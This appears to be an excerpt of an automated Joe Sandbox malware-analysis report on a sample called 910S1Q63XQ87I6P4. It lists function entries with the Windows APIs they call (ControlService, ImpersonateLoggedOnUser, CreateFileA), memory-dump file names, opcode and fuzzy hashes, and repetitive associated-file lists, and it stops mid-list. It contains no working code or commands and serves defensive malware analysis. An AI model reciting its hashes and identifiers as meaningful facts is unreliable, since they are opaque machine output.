Instruction Fuzzy Hash: CF01FC7238D3A6EDF703CA649C60ABF3B68F785121F248066E9C5D75C2E35A0D488625

Function 05611509 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 05611580

Memory Dump Source

Source File: 00000002.00000002.2035208917.0000000005610000.00000040.00000800.00020000.00000000.sdmp, Offset: 05610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5610000_910S1Q63XQ87I6P4.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: 24448705066a9d80aa4f8676a9c88869f9719164337d24e3660d6c3fa3392d57
Instruction ID: 8a1d60d6de77ce8b4c26364c8775a4e6c04e642c2e7b53434cae75f4efc23fa4
Opcode Fuzzy Hash: 24448705066a9d80aa4f8676a9c88869f9719164337d24e3660d6c3fa3392d57
Instruction Fuzzy Hash: 8D1117B5D00209CFCB10CF9AC545BEEFBF4BB48320F14842AE559A7250D334A544CFA5

Function 05611510 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 05611580

Memory Dump Source

Source File: 00000002.00000002.2035208917.0000000005610000.00000040.00000800.00020000.00000000.sdmp, Offset: 05610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5610000_910S1Q63XQ87I6P4.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: 0fe04acb4612b1993e1e228871d6331790743c9a0fde76a27b54114d37bc5199
Instruction ID: c4dc8b8d332ce2f76a8574a35d8401f86b79b0cbca18eba94bffe3630055a879
Opcode Fuzzy Hash: 0fe04acb4612b1993e1e228871d6331790743c9a0fde76a27b54114d37bc5199
Instruction Fuzzy Hash: 4411E4B1900249DFDB10CF9AC584BEEFBF4FB48320F14802AE959A7250D378A644CFA5

Function 05611301 Relevance: 1.5, APIs: 1, Instructions: 49
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 05611367

Memory Dump Source

Source File: 00000002.00000002.2035208917.0000000005610000.00000040.00000800.00020000.00000000.sdmp, Offset: 05610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5610000_910S1Q63XQ87I6P4.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: fa0ca0f2bf7391cb64b7d391bfef8c3cece97c2fc6e55233da968b3611ec04d2
Instruction ID: 5c608e1678c236bcf2cd0192bd8e351db81e938264b94d2e0200075fa2f1e8f9
Opcode Fuzzy Hash: fa0ca0f2bf7391cb64b7d391bfef8c3cece97c2fc6e55233da968b3611ec04d2
Instruction Fuzzy Hash: 0C1128B1800249CFDB10CF9AC845BEEFBF4EF48324F24846AD558A3650D778A544CFA5

Function 0100A2BA Relevance: 1.5, APIs: 1, Instructions: 48
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(00000000,0100A249,00000003,00000000,00000003,0100A184,00000000,00000000), ref: 0100A313

Memory Dump Source

Source File: 00000002.00000002.2031636005.0000000001004000.00000040.00000001.01000000.00000006.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000002.00000002.2031369317.0000000000E80000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031394555.0000000000E82000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031421737.0000000000E86000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031447702.0000000000E8A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031474106.0000000000E96000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031578330.0000000000FEB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031607255.0000000000FED000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031636005.0000000001010000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031758630.0000000001014000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031784305.0000000001019000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031808652.000000000101A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031832339.000000000101B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031857770.0000000001025000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031882949.0000000001029000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031913155.0000000001044000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031937968.0000000001045000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031962587.000000000104B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031988156.0000000001050000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032011882.0000000001052000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032036190.0000000001057000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032060946.0000000001064000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032085062.0000000001066000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032111890.0000000001067000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032141526.000000000106A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032167317.000000000106B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032190885.000000000106C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032223135.0000000001080000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032253534.0000000001084000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032280109.0000000001085000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032304055.0000000001089000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032331518.000000000108A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032357597.000000000108F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032385747.0000000001090000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032410966.0000000001095000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032436134.000000000109D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032464018.000000000109F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032494565.00000000010A0000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032522062.00000000010A3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032546939.00000000010AA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032575015.00000000010AC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032604119.00000000010B4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032631614.00000000010B6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032657346.00000000010BE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032686237.00000000010C2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032720915.00000000010CF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032766436.00000000010D0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032812418.0000000001119000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032812418.0000000001120000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032869131.0000000001130000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032893097.0000000001132000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_e80000_910S1Q63XQ87I6P4.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 1b45ee81d5c8c9ea47780ed4fce250d1ce90da252ce5b383425e19ed7ad770b2
Instruction ID: ec021e2e9687186576f5ca294baac0ed981e61f479ef88f807dbc0cf87b458b1
Opcode Fuzzy Hash: 1b45ee81d5c8c9ea47780ed4fce250d1ce90da252ce5b383425e19ed7ad770b2
Instruction Fuzzy Hash: 6BF0F6B630461AADEB03DE59ED90EFF37ECDA89670F20842AF885D3582D2661C054671

Function 05611308 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 05611367

Memory Dump Source

Source File: 00000002.00000002.2035208917.0000000005610000.00000040.00000800.00020000.00000000.sdmp, Offset: 05610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5610000_910S1Q63XQ87I6P4.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: fa7cc7d6fe50d347731af4b003e3b983f9c145307ba5d2943a5e5b2844ee6a8c
Instruction ID: 41cb2e65471510af3c616a0fa642e1df05d649ff5ed55ea52dd58c47595c4c30
Opcode Fuzzy Hash: fa7cc7d6fe50d347731af4b003e3b983f9c145307ba5d2943a5e5b2844ee6a8c
Instruction Fuzzy Hash: 571148B1800349CFDB10CF9AC445BEEFBF8EB48320F24846AD558A3650D778A544CFA5

Function 0100A59B Relevance: 1.5, APIs: 1, Instructions: 40fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE ref: 0100A5FC

Memory Dump Source

Source File: 00000002.00000002.2031636005.0000000001004000.00000040.00000001.01000000.00000006.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000002.00000002.2031369317.0000000000E80000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031394555.0000000000E82000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031421737.0000000000E86000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031447702.0000000000E8A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031474106.0000000000E96000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031578330.0000000000FEB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031607255.0000000000FED000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031636005.0000000001010000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031758630.0000000001014000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031784305.0000000001019000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031808652.000000000101A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031832339.000000000101B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031857770.0000000001025000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031882949.0000000001029000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031913155.0000000001044000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031937968.0000000001045000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031962587.000000000104B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031988156.0000000001050000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032011882.0000000001052000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032036190.0000000001057000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032060946.0000000001064000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032085062.0000000001066000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032111890.0000000001067000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032141526.000000000106A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032167317.000000000106B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032190885.000000000106C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032223135.0000000001080000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032253534.0000000001084000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032280109.0000000001085000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032304055.0000000001089000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032331518.000000000108A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032357597.000000000108F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032385747.0000000001090000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032410966.0000000001095000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032436134.000000000109D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032464018.000000000109F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032494565.00000000010A0000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032522062.00000000010A3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032546939.00000000010AA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032575015.00000000010AC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032604119.00000000010B4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032631614.00000000010B6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032657346.00000000010BE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032686237.00000000010C2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032720915.00000000010CF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032766436.00000000010D0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032812418.0000000001119000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032812418.0000000001120000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032869131.0000000001130000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032893097.0000000001132000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_e80000_910S1Q63XQ87I6P4.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 3eb7bea29c0ef97653c294db27b1278f14eb54793da8f2f78f9e3bb85db4ec1a
Instruction ID: 2c3d5361ea0f7ea8c9eb9d11d5d9092f28e2a0e7d45843cf74f0f4dc37b58262
Opcode Fuzzy Hash: 3eb7bea29c0ef97653c294db27b1278f14eb54793da8f2f78f9e3bb85db4ec1a
Instruction Fuzzy Hash: 39F02476B48356EEF713CE509C649BF3738FBC05B1F244029E991D75C2D3564D448A21

Function 0100A43D Relevance: 1.5, APIs: 1, Instructions: 37fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE ref: 0100A488

Memory Dump Source

Source File: 00000002.00000002.2031636005.0000000001004000.00000040.00000001.01000000.00000006.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000002.00000002.2031369317.0000000000E80000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031394555.0000000000E82000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031421737.0000000000E86000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031447702.0000000000E8A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031474106.0000000000E96000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031578330.0000000000FEB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031607255.0000000000FED000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031636005.0000000001010000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031758630.0000000001014000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031784305.0000000001019000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031808652.000000000101A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031832339.000000000101B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031857770.0000000001025000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031882949.0000000001029000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031913155.0000000001044000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031937968.0000000001045000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031962587.000000000104B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031988156.0000000001050000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032011882.0000000001052000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032036190.0000000001057000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032060946.0000000001064000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032085062.0000000001066000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032111890.0000000001067000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032141526.000000000106A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032167317.000000000106B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032190885.000000000106C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032223135.0000000001080000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032253534.0000000001084000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032280109.0000000001085000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032304055.0000000001089000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032331518.000000000108A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032357597.000000000108F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032385747.0000000001090000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032410966.0000000001095000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032436134.000000000109D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032464018.000000000109F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032494565.00000000010A0000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032522062.00000000010A3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032546939.00000000010AA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032575015.00000000010AC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032604119.00000000010B4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032631614.00000000010B6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032657346.00000000010BE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032686237.00000000010C2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032720915.00000000010CF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032766436.00000000010D0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032812418.0000000001119000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032812418.0000000001120000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032869131.0000000001130000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032893097.0000000001132000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_e80000_910S1Q63XQ87I6P4.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: afd428a7adacdf5cfe25a5a819a28ab057bdc7ba68c1068c970f926f0abb784d
Instruction ID: cb68b5e7e2209456b306bf63d6a640747d2dc834cef72922633c8d2d49fa0477
Opcode Fuzzy Hash: afd428a7adacdf5cfe25a5a819a28ab057bdc7ba68c1068c970f926f0abb784d
Instruction Fuzzy Hash: 0AE06DFA6482227CF603D9116EA8AFF566CD6C1A30B32882AB842D7486DA554E0E0131

Function 0100A2F2 Relevance: 1.5, APIs: 1, Instructions: 35fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(00000000,0100A249,00000003,00000000,00000003,0100A184,00000000,00000000), ref: 0100A313

Memory Dump Source

Source File: 00000002.00000002.2031636005.0000000001004000.00000040.00000001.01000000.00000006.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000002.00000002.2031369317.0000000000E80000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031394555.0000000000E82000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031421737.0000000000E86000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031447702.0000000000E8A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031474106.0000000000E96000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031578330.0000000000FEB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031607255.0000000000FED000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031636005.0000000001010000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031758630.0000000001014000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031784305.0000000001019000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031808652.000000000101A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031832339.000000000101B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031857770.0000000001025000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031882949.0000000001029000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031913155.0000000001044000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031937968.0000000001045000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031962587.000000000104B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031988156.0000000001050000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032011882.0000000001052000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032036190.0000000001057000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032060946.0000000001064000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032085062.0000000001066000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032111890.0000000001067000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032141526.000000000106A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032167317.000000000106B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032190885.000000000106C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032223135.0000000001080000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032253534.0000000001084000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032280109.0000000001085000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032304055.0000000001089000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032331518.000000000108A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032357597.000000000108F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032385747.0000000001090000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032410966.0000000001095000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032436134.000000000109D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032464018.000000000109F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032494565.00000000010A0000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032522062.00000000010A3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032546939.00000000010AA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032575015.00000000010AC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032604119.00000000010B4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032631614.00000000010B6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032657346.00000000010BE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032686237.00000000010C2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032720915.00000000010CF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032766436.00000000010D0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032812418.0000000001119000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032812418.0000000001120000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032869131.0000000001130000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032893097.0000000001132000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_e80000_910S1Q63XQ87I6P4.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 1a6fe57def3b79539bc1797f62c1af03aa8ee790b2002ff590c59524b3a46cf0
Instruction ID: dbf38cd59c815f858bc401cdba030db81a79d5ad038aea0bfa13e9263763786c
Opcode Fuzzy Hash: 1a6fe57def3b79539bc1797f62c1af03aa8ee790b2002ff590c59524b3a46cf0
Instruction Fuzzy Hash: 15E0AB732042246EEA12AE89AD90BFE77D8DE89630F21401EFCC8C3081C7150D4142F1

Function 0100A45B Relevance: 1.5, APIs: 1, Instructions: 31fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE ref: 0100A488

Memory Dump Source

Source File: 00000002.00000002.2031636005.0000000001004000.00000040.00000001.01000000.00000006.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000002.00000002.2031369317.0000000000E80000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031394555.0000000000E82000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031421737.0000000000E86000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031447702.0000000000E8A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031474106.0000000000E96000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031578330.0000000000FEB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031607255.0000000000FED000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031636005.0000000001010000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031758630.0000000001014000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031784305.0000000001019000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031808652.000000000101A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031832339.000000000101B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031857770.0000000001025000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031882949.0000000001029000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031913155.0000000001044000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031937968.0000000001045000.00000040.00000001.01000000.00000006.sdmpDownload File
